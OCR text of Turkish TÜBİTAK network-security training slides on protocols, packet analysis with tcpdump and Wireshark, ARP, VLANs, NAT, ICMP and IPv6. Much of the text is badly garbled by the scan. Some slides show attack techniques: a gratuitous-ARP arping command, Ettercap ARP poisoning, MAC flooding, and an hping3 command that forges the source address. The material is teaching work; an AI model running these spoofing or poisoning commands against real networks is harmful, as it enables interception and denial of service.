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Internet ve Tarihi Gelisimi “ @
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Ilk paket anahtarlamali deneyim

1960 - Advanced Research Projects Agency (ARPA) |

I f

Da_éltlk, tek bir cokus noktasi yok.

Host-host protocol _Host
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* Computer Networks, Fourth Edition, Andrew S. Tanenbaum
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Unix isletim sistemine eklenmesi

1984 — Domain Name System
1988 — NFSNET Backbone

© NSF Supercomputer center
® NSF Midlevel network
@ Both

* Computer Networks, Fourth Edition, Andrew S. Tanenbaum
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* letisimi ydnetmek amaciyla konulmus kurallar butiind.
e Dillere benzerlik gosterir.

e Standart arayuzlerle Grinlerin birbiriyle uyumlu calismasi hedefi.

— i -5
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IP: bilgisayar ve yonlendiricilerin iletisimi icin ortak ag protokolu

2018 itibari ile 4 milyar insan internet servislerini kullanmakta
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460 Million reachable IPv4 addh served from June 2012 to October 2012 using ICMP Ping
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Kurum Sunuculari

Kurum
Yonlend|r|C|S|

Telekom
Sirket
Yonlendiricisi

Bulut
Saglayici Telekom 'pc| | pc| | pc|
Yonlendiricisi Sirket
—— _ Yonlendiricisi Sirket Yerel Alan Ag
- iss
Yonlendiricisi i
Yonlendiricisi
D

Platform — o
Sunuculan | PCleri
PC
[pc] bBS _PC |

Ev PC’leri



https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr

_‘I TUBITAK
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Referans Modelleri
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"
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. -
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Application

Presentation

HTTP Telnet FTP

Hyper Virtual File
Text Terminal Transfer
Transport Protocol

Protocol Protocol

TFTP

Trivial
File
Transfer
Protocol

Session
TCP UDP
Transport (Reliable Datagram Service) (Unreliable Datagram Service)
IP
Network Addressing, Routing, Fragmentation
: 802.3 802.4 802.5
Data Link CSMAICD Token Bus Token Ring Fbb!
(Ethernet)
Physical Physical Medium (Token Ring, 10Base-T, 100Base#¢lc...)
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Uygulama Katmani (L5)

Sunum Katmani (L6) Uygulama Katmani

Oturum Katmani (L5)

Tasima Katmani (L4) Tasima Katmani

Ag Katmani (L3) Ag Katmani

Veri Bagl Katmani (L2) Ag Erisim ve Fiziksel

Katman

Fiziksel Katman (L1)
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OSl ve TCP/IP - iletisim
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Sl
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TUBITAK
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SNMP TFTP DNS DHCP FTP TELNET HTTP SMTP

L4 bashgindaki
User gram Tr “Source/Destination Port”
Protocol Control Proto. alanlari

IP bashgindaki “Protocol” alani

Protocol ARP

L2 bashgindaki “EtherType” alani
AW -

e ——
Fiber Wireless m

18
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lyi niyetli kullanim:
e Sistem problemlerini ve performansini anlama
* Uygulama operasyonlarinin testi
e Saldirilarin tespiti

Kotu niyetli kullanim:
* Protokoller Gzerinden pasif olarak veri toplama
* Hedef agin trafigini ve orintisunu kesif
* Ag icerisine dahil olarak arka kapi birakma

* Farkh islem modlarinda (pasif ve aktif) kullanilabilir. |

* Ticari ve Ucretsiz surtumleri bulunabilmektedir.

* Genelde yazilim tabanlidir.

e Bilgisayar veya sunucu sistemler lGzerinde c¢alisan uygulamalar ve
protokoller tarafindan gonderilen/alinan paketlerin birer kopyasini alir.

* Yaygin kullanilan ag protokolt analiz programlari: Wireshark, Tcpdump

e 21
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Tcpdump — Komut Satirindan Paket Analizi " @

* Bir pcap dosyasini tcodump ile agmak icin -r parametresi
kullanilir:
tcpdump -r test.pcap
* -n parametresi de kullanildiginda IP ¢bziimlemesi
yapmaz, bilinen protokollerin isimlerini yazar ve
daha hizli sonuc verir:
tcpdump -r test.pcap -n
* -iparametresiile belirtilen araytizde dinleme yapilabilir,
-w parametresi ile de dinlenen araytizdeki trafik bir
pcap dosyasina kaydedilebilir:
tcpdump -n -i ethO -w sonuc.pcap
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_ Tepdump il PaketAnali [\

* -t parametresiile sonuglarda yer alan zaman damgasi
(timestamp) degerini gizlemesini,
* -c parametresi ile de pcap dosyasindaki istenen sayidaki satiri
gorintiilemesini saglayabilirsiniz:
tcpdump -r test.pcap -ntc 2
 -x parametresiile HEX degerleri, -X parametresi ile de hem HEX
hem de ASCII degerleri gortinttilenebilir:
tcpdump -r test.pcap -ntxc 1
* -v parametresiile ayrintili (Verbose) modda paket degerleri
gortintilenebilir:
tcpdump -r test.pcap -ntvc 1
* -e parametresiile MAC/Ethernet adreslerinin gériintiilenmesi
saglanir:
tcpdump -r test.pcap -ntec 1
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16:21:24.174180 192.168.60.3.34720 > 10.10.10.3.3389: S
2354677536:2354677536(0) win 5840 <mss 1460,sackOK,timestamp
25027249 0,nop,wscale 0> (DF)

— o p— -

16:21:24.174180 Zaman Damgasi

192.168.60.3 Kaynak IP Adresi

34720 Kaynak Port Numarasi

> Yon Belirteci

10.10.10.3 Hedef IP Adresi

3389 Hedef Port Numarasi

S TCP SYN Bayragi Aktif Hale Getirilmis

2354677536 TCP Baslangic¢ Seri Numarasi (ISN)
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Ievsel olarak tc

ump 'a benzer

File Edit View Go

ﬁ & & &l B Interfaces...

@ Options... trl+K
Filter:

@ Start Ctrl+E
] Stop Ctrl+E
@ Restart

™ Capture Filters...

B | TAP-Win32 Adapter V9

Capture | Analyze Statistics Tephonx Tools

feBl::213f:5f8d: 5c05:f5a8

Description IP Packets Packets/s
(] 2% VMware Virtual Ethernet Adapter  feB0:5066:cBb3:1d7e:5668 3 1
] % VMware Virtual Ethernet Adapter feBl:cd16:elleacddiaadd O 0

Intel(R) 82567LM-3 Gigabit A Balant1s1 fe80:206d:6bb1:720d:af4b

Internals  Help

EE @ e a

v | Expression.. Clear Apply Save

Grafik arayuzi |

o

Interface

D feBl-cBlbedleac3lazid
182.168.153.1

|:| feB0-2131.5fBd:5c05 a8
192 168 11.178

TAP-Win32 Adapter V9: \Device...

Link-layer header Premn. Mode Snaplen [B] Buffer [MB]1 A
VMware Virtual Ethernet Adapte...

Ethernet

Ethernet

Intel{R) 82567LM-3 Gigabit A Bal...

fibb1:720d-afdb

Ethernet

enabled default 1

enabled default 1

enabled default

[ ] Capture on all interfaces

[¥| Capture allin promiscuous mode

Manage Interfaces

-Capture File(s)

File: |

| | Browse... |

[ Use multiple files

Use pcap-ng format

Display Options

ide capture info dialog

"' pdate list of packets in real time

Autornatic scrolling in live capture

| Next file every 1 = megabyte(s)
MNext file every 1 = | minute(s)
Ring bufferwith |2 ~ files
Stop capture after |1 : file(s)

-Stop Capture ...

[] ... after 1 : packet(s)

[] ... after 1 > |megabyte(s)

[ ... after 1 > | minute(s)

Name Resolution

"' nable MAC name resolution

nable network name resolution

nable transport name reselution

26
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*WiFi [Wireshark 1.10.6 (v1.10.6 from master-1.10)]
File Edit View Go Capture Analyze S5tatistics Telephony Tools |Internals Help

O AN I BRXE AT L |EBIE QQQABF MM X B

Filter: Expression... Clear Apply Save
No. Time Source Destination Protocol Length Info
1 0.00000000192.168.2.110 192.168.52.10 DNS 65 standard query 0xb75b s50A local
2 1.70255900 samsunge_d0:ad:ad4 sBroadcast ARP 60 who has 192.168.2.17 Tell 192.168.2.91
3 2.00025900192.168.2.110 192.168.2.1 DNS 65 standard query 0xb75b S0A local
4 2.03078700192.168.2.1 192.168.2.110 DNS 140 standard guery response Oxb75b No such name
5 2.03357900192.168,2.110 192.168.52.10 DNS 65 Standard query 0x2297 S0A local
6 2.32859000 192.168.2.110 192.168.2.1 DNS 70 Standard query 0x4285 A google.com
7 2.36095700192.168.2.110 192.168.2.1 DNS 70 standard query 0x4285 A google.com
8 2.36723400192.168.2.1 192.168.2.110 DNS 382 standard query response Ox4285 A 173.194.11
Q%2 I0MI1IAN1AY 1482 9 11N 172 104 112 AR Truvp TA Erhn fndinnaN rannact 3 AdNvAanm can-2/7AR 1 N

>

@ Frame 6: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface 0
&) Ethernet IXI, Src: IntelCor_13:df:ee (c4:d9:87:13:df:ee), Dst: Airtiesw_39:c7:b7 (18:28:61:39:c7:b7)
i Internet Protocol Version 4, Src: 192.168.2.110 (192.168.2.110), Dst: 192.168.2.1 (192.168.2.1)
@ User Datagram Protocol, Src Port: 53893 (53893), Dst Port: domain (53)
= pomain Name System (query)
|Resgonse In: 8]
Transaction ID: Ox4285
i Flags: 0x0100 Standard query
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: O
-] Queries
# google.com: type A, class IN

0000 18 28 61 39 c7 b7 c4 d9 87 13 df ee 08 00 45 00 «€a%0d . S E.

0010 00 38 33 58 00 00 80 11 81 9d cO a8 02 6e ¢0 a8 .83X.... ..... ]
0020 02 01 d2 85 00 35 00 24 50 ed 42 85 01 00 00 01 ..... 5.8 PiBLL L

0030 00 00 00 00 00 00 EIENCFANIESI TR ERTENS ... .g oogle. col
WEToGa 00 00 01 00 C TR

@ ¥ Totitem (tex), 16 bytes Packets: 25 - Displayed: 25 (100,0%) - Dropped: 0 (0,0%) [ Profile: Default |27
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S~ ANTALYA Q)

28°C 5 18°C

Aranacak Metin

- y 18 Mayis 2011, Carsamba
a I a Son Guancelleme 13:49 :

Ana Sayfa Tlrkiye Politika Yasam Ekonomi Diinya Kiltlir Tartisi-Yorum Spor Cewvre Egitim Sad

Anasayfa > Dinya > 75 yasindaki Girci kadin internet ¢ékertt }

=1 vazdir =1 Aarkadasina Gonder S Yorum Yaz g8 Arsive Ekle

75 yvasindaki Gurclu kadin interneti cokertti

D6 042011 16246

vaz1 Boyutu B3 B g

75 yasinda Gilrcl bir kadin, komsu Ermenistan’in internet baglantisim cokertmekle §
suclamyor.

b = =

¥Radika

260 milyar dolarhk borsa bir kepce
darbesiyle coktii

lf:lTavsiye et A Bir kisi bunu tavsiye ettd. Arkadaslarnn arasinda tavsiye eden ik sen al,

Yol cahsmasinda bir

28 Mart tarihinde Gircistan ile arasindaki kablolar hasar kEI]'I;.'E veri kablolarim
cdrdisl icin Ermenistan llke capinda saatlerce internetsiz Fsa = re 5'
kalbhmsiti. Kesintinin gerekcesiyse bir kadimn '‘bakir hurda® kopﬂrdl. BO lda !

ararmasi. Glrcistan icisleri Bakanbg sdzciisii, yvash bir emekli hasardan iglem saati
kadimn yerde bakir hurda ararken iki llke arasindalkdi

fiberoptik baSlantiyva hasar verdigini itiraf etti§ini ackladi. ?ﬂklﬂﬁlrkﬁ" hﬂhﬁrdﬂr
Glrcistanin Ksani kylinde yvasayan kadinmn yasindan dolayl DI['I]. Tﬂﬁ&rﬂl’l

tutuksuz yargilanmasina karar verildi. S‘ut;lu”bl:;alunmam

tamircileri grevdeki
ndika durdurdu
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[} www.businessinsider.com/heres-how-to-take-an-entire-continent-offiine-2013-3

How To Take An Entire Continent Offline

Leo Mirani, Quartz Mar. 28, 2013, 7:37 AM 62402 B4

EiRecommend | 25 mShare_ 12 | |WTweet (98| Q +1) 32| (DEmail More

At its peak, Cyberbunker

clogged up a mind-boggling
300 gigabits per second of the
Internet in what's being called

with nothing more high-tech
than an axe?

That's what three men tried to
do in an unsophisticated but
effective form of sabotage in
Egypt yesterday; their identities YouTube/antzoulis
and motives are not yet

known. Reuters reports the

Egyptian coas-tgu'ard Q U A R T Z &

intercepted a fishing boat off

the coast of Alexandria and » S&P 500 hits all-time record—despite Apple
arrested three men trying to cut - The yen punishes Kuroda for pulling nothing new
through the SEA-ME-WE 4 from his central banker bag of tricks

undersea cable. The cable is

+ Sorry everyone, but those ridiculously large
one of the main connections phones are here to stay

between Asia and Europe,

O 30

- BlackBerry finally surprises market in a qood way
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ARP Gratuitous (asilsiz) ARP, ARP Ataklari

v/
/s

B Port Guvenllgl l/ Cesitli Saldirilara Karsi L2 Onlemleri

VLAN Anahtar Kandirma, Cift Etiketleme, VTP Atagi

- —— = -

3

MACSec / L2 Sifreleme

4 Py
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Address Resolution Protocol

e 48 bit gercek donanim adresleri— MAC

* |IP’nin fiziksel adresleri 6grenmesi icin kullanilir,
* Broadcast Request, Unicast Reply
e Statik ve dinamik ARP bellegi

* ARPCachelife

T = e S T > ~ s

Statik kayit eklemek igin

#arp -5 10.0.0.200 00-10-54-CA-E1-40
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Gratuitous (asilsiz/karsiliksiz) ARP

! TUBITAK

* K&t niyetli kullanimda bitin ag trafigi kesilebilir/Uzerine alinabilir.

Aaa

#arping-c 4 -A -l eth1 192.168.1.1

Ethernet II, Src: 02:02:02:02:02:02, D=t: ff:ff:ff:ff:£ff:£ff
Deztination: ff:ff:ff:ff:ff:ff (Broadcas=st)
Source: 02:02:02:02:02:02 (02:02:02:02:02:02)
Type: ARP (0x0806)
Trailer: J000000000000000000000000000000000000
Address Resolution Protocol (reguest/gratuitous ARP)
Hardware type: Ethernet (0x0001)
Protocol type: IP (O0xO0200)
Hardware =2ize: &

Protocol =size: 4
Cpcode: reguest (0x0001)
Sender MAC address: 02:02:02:02:02:02 (02:02:02:02:02:02)
Sender IP addres=: 192.168.1.1 (152.168.1.1)
Target MAC addresszs: ff:ff:ff:ff:ff:ff (Broadcast)
Target IP addres=s: 192.162.1.1 (152.168.1.1)
pooo f£f £ff £f £f £f £f 02 02 02 02 02 02 08B 06 00 01 ... .ccueeeeenennsn
Qo100 OF OO0 O& 04 00 01 02 02 02 02 02 02 cD a8 01 01 ... .ceeecnnennnas
Qp20 ff £ff £f £ff £f £f o0 a8 01 01 Q00 00 OO0 OO0 OO0 D0 .. .cenenmnnnnaas
0030 00 00 00 00 00 OO0 OO0 00 00 00 00 00 e e e e e @@@ 34
EYW MG KD

ki K3 R
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L2 Sekilar

' — —_— — ¥

Yerel ag icerisinde ayni alt ag icerisinde bulunan istemcilerin MAC adres
bilgisini degistirerek kurban ile 6n tanimli ag gecidi arasindaki iletisimin
kendi Gzerinden gerceklestirilmesinin saglanmasidir.

NORMAL TRAFiK ZEHIRLENMI$ ARP BELLEGI

edef makine anahtar yonlendiricij | hedef makine anahtar yonlendirici

3

saldirgan saldirgan

)/

35
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L2 Saldirilari N

Ettercap ile ARP ehrleesi

Etart Targets Hosts Mew MM [hens Legong Elgne bHelp

Etart Jargels Hosts Yew Mim Fien Legng Eugne Help

Hasl Lt [ L&, Current Jargecs T
: 16 & Salact TARGETI4) CEN+T
F Adcreun WAL Ardrsan Dianspbior f
"
192.168.1.1 11:22:30deb: 11001 \ { ¥ Precezol... P
192.160.1.2 1LZ2:3244: 9504 l Revverne malching
¥ Wipe Eargety shft4w

152,068, 1,100 1152 33:44: 9959

| Dalate Host Add 1o Tamst L Add to Tamget 2
% peaits Mongered = GRS L @ ARG al ik Posts inihae ks ) =
THET max versder Angerpnnt
1% tcp OF hngerpont ORCLUF 2 AN Lall the Fosks in 1ha bk
T1EE krown sanetis 4 {| Starting Liesfied sraffiey...
Pardermining 25% bewls for scanning ‘I
st lsgton LLptded s i)
— -

Gearrarg the whole retrak for 755 hosty
% L4

Stort Torgets Hosts Vww MEm Eers Logang Bluges Lep
Knp redrect..
Pact stealng
Chep spasirn

© Step mem attack(s)
FITE L/

2 hosts sdded to the hosts bst

Rardeenning 255 hosts for scannng.

Scanring the who'e netmiask for 295 hosts

Scan interrupted by user. Partial resuts may have been recorded. .

Rarrdcennzing 299 hosts for scannie..

Scarring the who'e netmank for 295 hosts i
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MAC Seli ve Servis Disi Birakma

Saldirgan anahtarin MAC tablosunu sahte MAC adresleriyle doldurmak
suretiyle, anahtar Gzerindeki tum trafigi dinleyebilir duruma gelebilir.

—

37
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anal Yere

Alan Aglari

* Yerel alan agr Gzerindeki kullanicilarin  mantiksal olarak
gruplandirilmasidir.

 Her VLAN, sadece kendi broadcast paketlerini alir.

 Daha verimli bant genisligi, daha fazla glivenlik
e 802. 1q etlketleme (tagging)

- o— p—

. VLAN 20
VLAN 10 Accounting

Publishing @ @
ccounting
S
Publishing ~—
ccounting
VLAN 30 @— @ @

Security Security Security

39
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= U AV

* Porta varsayilan glvenlik politikasi uygulanmasi

e Belirlenen sayida MAC adresiyle iletisim
 Asimi halinde kapat

* MAC filtreleme

e ~_

(config-if)# switchport mode access

(config-if)# switchport port-security

(config-if)# switchport port-security violation shutdown

(config-if)# switchport port-security maximum 3

(config-if)# switchport port-security mac-address mac-address sticky
(config-if)# switchport port-security aging time 10

(config-if}# switchport port-security aging type inactivity 7
B . Cnarery 40
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JCtan uca veri yonienairmesi i¢cin Kutiantlir.

 |IP ve ICMP protokolleri, bir tst katmandan gelen segmentleri
alictya uygun yoldan ulastirmakla yakamluddar.

* Segmentlere 6zel bir IP baslik bilgisi eklenir.

42
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_‘I TUBITAK

I

e Baglantisiz bir protokol

* |letimin garantisi Ust seviye protokollerle saglanr.
* Yaygin olarak IPv4

e 32 bitlik mantiksal adres
* |Pv6 gecis surea

— g — —— O — — — G—

43
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_‘I TUBITAK

Jniu Duzendekl Noktall Yazim

ik oktet;
e (0-127 arasinda ise A sinifi,
e 128-191 arasinda ise B sinifi,
e 192-223 arasinda ise C sinifi olarak isimlendirilir

e ~

100000011 01101011 00000001 00001100

131.107.1.12

255.255.0.0

44
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IPv4 Adres Araliklari - “ @

TUBITAK

127.255,255,255
B 128.9.90.90
L | : . - ..
SRR — |
o ¥
7] - 223,255,255.255
= =
2| [ e T e T () 0
= 239,255,255.255
255,255,255,255
EEEEEE NN

32 BIT
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Y

Internete direkt baglanmayan, NAT veya vekil sunucusu aracilig

ile baglanan cihazlarda kullanim i¢in ayrilmistir
e 10.0.0.0/8
e 172.16.0.0/12
 192.168.0.0/16
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IPv4 Paket Baslig| " &

| TiBiTAK
32 Bits
Version IHL TOS Total Length
|dentification DF MI£ Fragment Offset
TTL Protocol Header Checksum
Source Address
Destination Address
Option Padding

T
Kaynak verinin IP adresi

Gidecegi yerin IP adresi

Spesifik IP datagramini tanimlamak icin kullanilir.

Paketlerin TCP, UDP, ICMP ya da diger protokollerle iletisimi ile ilgili

IP bashginin batunliglind kontrol etmek icin kullanilan matematiksel hesaplama.

R GEEVERAREBE Datagramin dolasacagi ag ucu sayisini belirler. Boylece paketlerin siirekli dolasmasi

(loop) engellenir. 47
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. RO
IPv4 Paket Bashigi | YV

TUBITAK

0 1 2 3 4 5 6 7
Byte Offset O

Version  (4-| IP hdr length
bit) (4-bit)

Byte Offset 4

Byte Offset 8

Byte Offset 12

Byte Offset 16

IPv4 Header (RFC 791)

8 910 11 12 13 14 15 16 17 18 19 20 21 22 231 24 25 26 27 28 29 30 31
Byte Offset 1 Byte Offset 2 Byte Offset 3

Type of Service (8-bit) Total Length (16-bit) (in Byte Offsets)

Byte Offset 5 Byte Offset 6 Byte Offset 7

Fragment Offset (13-bit)

Byte Offset 9 Byte Offset 10 Byte Offset 11

Protocol (8-bit) Header Checksum (16-bit)

Byte Offset 13 Byte Offset 14 Byte Offset 15

Source IP Address (32-bit)

Byte Offset 17 Byte Offset 18 Byte Offset 19

Destination IP Address (32-bit)

sa14d 02

Gloee

= MG RO

48
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Uygulama -1

Wireshark ile IP Paketi Analizi |

Ino..  [vme Source Destination Protocol | Info ﬁ
| 4 1.001207 172.16.1.10 172.16.1.05 ICMP _ECNO (PINg) request ~
il [ ]

P Frame 4 I bytes on wire, 74 bytes caﬁfﬁFEﬁjul' -

< Ethernet 1I, sSrc: 00:48:54:85:43:e3, Dst: 00:48:54:85:3d:05
pestination: 00:48:54:85:3d:05 (Digitals_85:3d:05)
Source: 00:48:54:85:43:e3 (Digitals_85:43:e3)
Type: IP (Ox0800)

version: 4
Header length: 20 bytes
< Differentiated services Field: 0x00 (DSCP Ox00: pefault; ECN: 0x00)
0000 00.. = pifferentiated Services Codepoint: Default (0Ox00)
eees +.0. = ECN-Capable Transport (ECT): 0
cese 220 = ECN-CE: O
Total Length: 60
Identification: Ox04f5 (1269)
= Flags: Ox00
0... = Reserved bit: Not set
.0.. = pon't fragment: NOT set
..0. = More fragments: NOT set
Fragment offset: 0
Time to Tive: 128
Protocol: IcMP (Ox01)
Header checksum: Oxdb9c (correct)
source: 172.16.1.10 (172.16.1.10)
pestination: 172.16.1.5 (172.16.1.5)

ternet Protocol, Src Addr: 172.16.1.10 (172.16.1.10), Dst Addr: 172.16.

|

finternet Protocol (ip), 20 by 4| P: 227 D: 227 M: O

< 2]

0000 00 48 54 & d 05 00 48 4 85 43 e3 08 00 RS -

0010 00 =2C 04 T S 00 0 0 80 01 ]3] S¢c ac 10 01 0a a C 108

0020 SN O8 00 da b O 00 00 6 5 5 b4 6 als

0030 ©7 ©8 69 6a 6b 6¢c 6d 6e 6&f 70 71 72 73 74 75 76

0040 77 61 62 63 64 65 66 67 68 69 ’:'
A

SLoEe

TUBITAK

49
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Istenilen IP adresinden TCP/IP paketleri (TCP, UDP, IP, ICMP,

HTTP, SMTP, DNS vb.) gonderebilme islemi

DDoS saldirilarinda onem kazanir.

stateful glmayan protokollerle gergekIthirilenle_r icin gecerlidir.

# hping3 -a <sahte_ip_adresi> -p 80 -S -c 4 www.sirket.com.tr
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Ag Adres Doniisiimii || ‘@'

! TUBITAK

o Ozel IP adresleri, gercek IP adreslerine déonustaralur.

 Dis dunyadaki bilgisayarlar ic agdaki bilgisayarlarin orijinal IP
adreslerini kesinlikle bilemez.

e 3 farkli adres donusimu vardir:

e Statik Ag Adres DonUsumii

e Dinamik Ag Adres Donlsimu

e Port YOonlendirme
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Statik Adres Déniisiimii " @

! TUBITAK

atik Ag Adres Donlistiimdi

“Her bir bilgisayarin IPsi ayri bir IP adresine donusturulmektedir.

Statik ag adres doniisiimii
kurallan iki yénli olarak

tanimlanmalidir.

10.0.0.1 > 193.32.65.2
<
1 10.0.0.1 HERHANGI HERHANGI 193.32.65.2 ORIJINAL ORIJINAL
2 HERHANGI 193.32.65.2 HERHANGI ORIJINAL 10.0.0.1 ORIJINAL
52
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Statik Ag Adres Donusumu - NAT " @'

! TUBITAK

10.0.0.1 193.32.65.2

S GUVENSIZ AG
o
S ] ]
istemci I I ._
I 10.0.0.1 103.32.65.2 | Web Sunuc
I Gene] | (8> | @GR |
.m‘
l | 23 1 |
212.170.30.1 = m 212.170.30.1
B 10.0.0.1 m [ ==U) I 193.32.65.2 m ]
< <

53
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Dinamik Ag Adres Donuisimiui " @'

! TUBITAK

— — — S — 0

* ¢ agdaki IP adresleri tek bir gercek IP adresine dénistiirilmektedir.
* Tek yonlu olarak calismaktadir.

e Sadece ic agdaki bilgisayarlar baglantiyi baslatan taraf olabilir.

Yapilan her adres

doniisiimiine iliskin bilgi

giivenlik duvarinin adres

doniisiim tablosunda

tutulur.

\ | 212.170.30.1
ic AG
-1}

| 10.0.0.1:8001 | | 212.170.30.1: 10001 |
| 10.0.0.2:8002 | — | 212.170.30.1: 10002 |
| 10.0.0.3:8003 | | 212.170.30.1: 10003 |

Cikan paketlerin hem
kaynak IP adresi hem de
kaynak port numarasi
doniisiime ugratilir.

54
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Dinamik Ag Adres Déniisiumii - PAT " @

! TUBITAK

Ptables kullanarak adres dontisiimi asagidaki gibi yapi

# iptables -t nat -A POSTROUTING -o ethO -j MASQUERADE
# iptables -A FORWARD -i ethO -0 eth1 -m state --state
RELATED,ESTABLISHED -j ACCEPT

# iptables -A FORWARD -i eth1 -o ethO -j ACCEPT

Y — = -

IP yonlendirme etkin hale getirilmis olmalidir
# echo 1> /Eroc/sys/net/ipyﬂi&_for\{va_lzd - |

I

A5 P J

55
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* Kontrol amacli bir protokol

e Sistemler arasi kontrol mesajlari IP yerine ICMP Gzerinden aktarilir

* Internet protokolini daha givenli hale getirmez, sadece datagram
iletimi sirasinda meydana gelen hatalarin sebepleri ile ilgili bilgi saglar.

32 bits
o+ L
Type Code Checksum
< > € > > €— >
MAC P ICMP  ICMP i
Header Header Header  Data '
14 bytes 20 bytes 8 bytes  Variable |
Data
Ethernet Frame
< > (length depends on type and code)
IP Packet
-“ |
ICMP Packet _ |
} q

56
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ICMP Paket Baslig| || \ 4

Byte Offset O
Message Type (8-bit)

Byte Offset 4

012 3 456 7

TUBITAK

ICMP Header (792)

8 91011121314 15(1617 1819 20 21 22 2324 25 26 27 28 29 30 31

Byte Offset 1 Byte Offset 2 Byte Offset 3
Message Code (8-bit) Checksum (16-bit)

Byte Offset 5 Byte Offset 6 Byte Offset 7

(contents depends on type and code)

0 Echo reply
3 Destination Unreachable

0 Net Unreachable
Host Unreacheable

Port Unreachable

© 0o ~NO Ol WDN P

e
N R O

4 Source Quench
5 Redirect

Protocol Unreachable

Fragmentation Needed & Don't Fragment Flag Set
Source Route Failed

Destionation Network Unknown

Destination Host Unknown

Source Route Isolated

Network Administratively Prohibited

Host Administratively Prohibited

Network Unreachable for TOS

Host Unreachable for TOS 16 Information Reply
13 Communication Administratively Prohibited

8 Echo
9 Router Advertisement
10 Router Selection
11 Time Exceeded
0 Time to Live exceeded in transit
1 Fragment Reassembly Time Exceeded
12 Parameter Problem
0 Pointer indicates the error
1 Missing a Required Option
2 Bad Length
13 Timestamp Request
14 Timestamp Reply
15 Information Request

17 Address Mask Request
18 Address Mask Reply @ 57
30  Traceroute '
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ICMP Mesaj Tipleri

Tip Kodu Dpépri

ICNP Mpcajln Ti_ni

0 Eko Yanit - ping yaniti (Echo Reply)
3 Hedefe Erisilemedi (Destination Not Reachable)
4 Kaynak Kapatma (Source Quench)
5 Yeniden Yonlendirme (Redirection Reauired)
[ 8 Eko Yanit - ping istemi (Echo Request)
9 Yonlendiricl Tanitimi
10 Yénlendirici istemi
11 Zaman Asimi - traceroute kullanir - (Time to Live Exceeded)
12 Parametre Problemi (Parameter Problem)
13 Timestamp istemi (Timestamp Request)
14 Timestamp Yaniti (Timestamp Reply)
15 Bilgi istemi (Information Request)
16 Bilgi Yaniti (Information Reply)
17 Adres Maskesi istemi (Address Mask Request)
18 Adres Maskesi Yaniti (Address Mask Reply)

v

TUBITAK
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* DoS: hedef ve kaynak bilgisayarlara ICMP time exceeded veya
destination unreachable paketleri gdndererek TCP baglantisinin
koparilmasi

 ICMP Sweep: Ag taramasi

* Ping of Death: 65535 bayttan buyuk ping paketi olusturularak
calisamaz hale getirmek hedeflenir (1997-98).

RINGGE-geatEn
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_ll TUBITAK

I

e |Pv4 adresleri 32 bit ve teorik olarak 4.294.967.296 adettir.
* |Pv4 yetersiz kalinca 1998’de IPv6 gelistirildi.
e 128 b|t adres alani

~——y T—

= 4.294 967. 296 =4,3-10"

IPV6

21% = 340.282.366.920.938.463.463.374.607.431.768.211.456 =< 3,4 - 10*

Jrnek tarama sureieri Karstiastirmasi

I I —III—I———— E

 |IPv4 Csinifi : 4,3 dk.
 |Pv6 /64 : 585 yil
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_1Peo STk VRS

32 Bits

Illiilllll!lllllIllllll[lllllllll

Version Traffic class Flow label
Payload length Next header Hop limit

Source address
— (16 bytes) -

Destination address
(16 bytes)
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o

IPv6 Baslik Yapisi

“ TUBITAK
IPv6 Header (RFC 2460)

8§ 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

Byte Offset 0 Byte Offset 1 Byte Offset 2 Byte Offset 3
Byte Offset 4 Byte Offset 5 Byte Offset 6 Byte Offset 7
Byte Offset 8 Byte Offset 9 Byte Offset 10 Byte Offset 11
Source IP Address (128-bit)
Byte Offset 12 Byte Offset 13 Byte Offset 14 Byte Offset 15
Source IP Address (cont.)
Byte Offset 16 Byte Offset 17 Byte Offset 18 Byte Offset 19
Source IP Address (cont.) S
Byte Offset 20 Byte Offset 21 Byte Offset 22 Byte Offset 23 %
(2]
Source IP Address (cont.)
Byte Offset 24 Byte Offset 25 Byte Offset 26 Byte Offset 27
Destination IP Address (128-bit)
Byte Offset 28 Byte Offset 29 Byte Offset 30 Byte Offset 31
Destination IP Address (cont.)
Byte Offset 32 Byte Offset 33 Byte Offset 34 Byte Offset 35
Destination IP Address (cont.)
Byte Offset 36 Byte Offset 37 Byte Offset 38 Byte Offset 39
Destination IP Address (cont.)
Byte Offset 40 Byte Offset 41 Byte Offset 42 Byte Offset 43
Next Header (8-bit) Extension Header Information (variable length)
Extension Header Information (variable length) 62

data (variable length)
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L — N

IPv4 Bashgi IPvé Bashgi

Saram Sardm
(Wersion) (Version)

Kaynak Adres
(Source Address) Kaynak Adres
Hedef Adres (Source Address)
(Destination Address)
IPv4 ve IPvG da ayni olan alanlar Hedef Adres
IPv6 da olmayan alanlar (Destination Address)

I IPv6 da adi ve pozisyonu degisen alanlar
I IPv6 da yeni alanlar

Oy 63
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2001:0DB8:AC10:FE01:0000:0000:0000:0000

4 ¥ § - | ,
2001:0DB8:AC10:FEO1:: £e€roes can be omitted

MR sitern

0010000000000001:0000110110111000:1010110000010000:1111111000000001:

0000000000000000:0000000000000000:0000000000000000:0000000000000000
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Y

Komsu Kesfi (Neighbor Discovery

IPv&’te kullanilan yonlendirici kesfi (router discovery - RDISC), adres
cozumleme protokoli (ARP) ve ICMP yeniden yonlendirme bilesenlerinin
gorevleri IPv6’da komsu kesfi tarafindan yapilmaktadir.

; | 7 | %
!E_

I'm a router!

Here's my link E
address... —
Neighbor Solicitation
I Neighbor Advertisement %

Router Solicitation

I Router Advertisement

= A L~ W

66
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IPv6 ve Ozellikleri " @

! TUBITAK

ICMPv6
ICMP Protokolunin IPv6 icin uyarlanmis halidir.

s ¥ s

[ 1cMPv6 Type | 1OMPV6 Code Checksum )

[ I

Mesaj Tipi Mesaj Adi

1 Hedef erisilemez

2 Paket cok blylk

3 Zaman Asimi

4 Parametre Problemi
133 Yonlendirici Talebi
134 Yénlendirici ilani
135 Komsu Talebi
136 Komsu ilani

67
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IPv6’ya Yonelik Saldirilar "

PSec «desteginin» zorunlu olmasi

Yonetilebilirlik ve cihazlarin islem glict acisindan olasi gozikmemektedir.

IPv6'ya Yonelik Saldirilar

o Paket Koklama

e Kesif Saldirilar

* ARP yerine Neighbor Discovery kullaniimasi
e Uzanti Basliklari

e Ortadaki Adam Saldirisi (Man-in-the-Middle)

* Servis Disi Blrakma

- L s e e v

68
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N4

TUBITAK

IPv4 tarzi tarama ¢ok zo |

IPv6 ile beraber DNS kullanimi, cok daha fazla 6nemli olacaktir. |

DNS uzerinden tarama - FQDN Enumeration
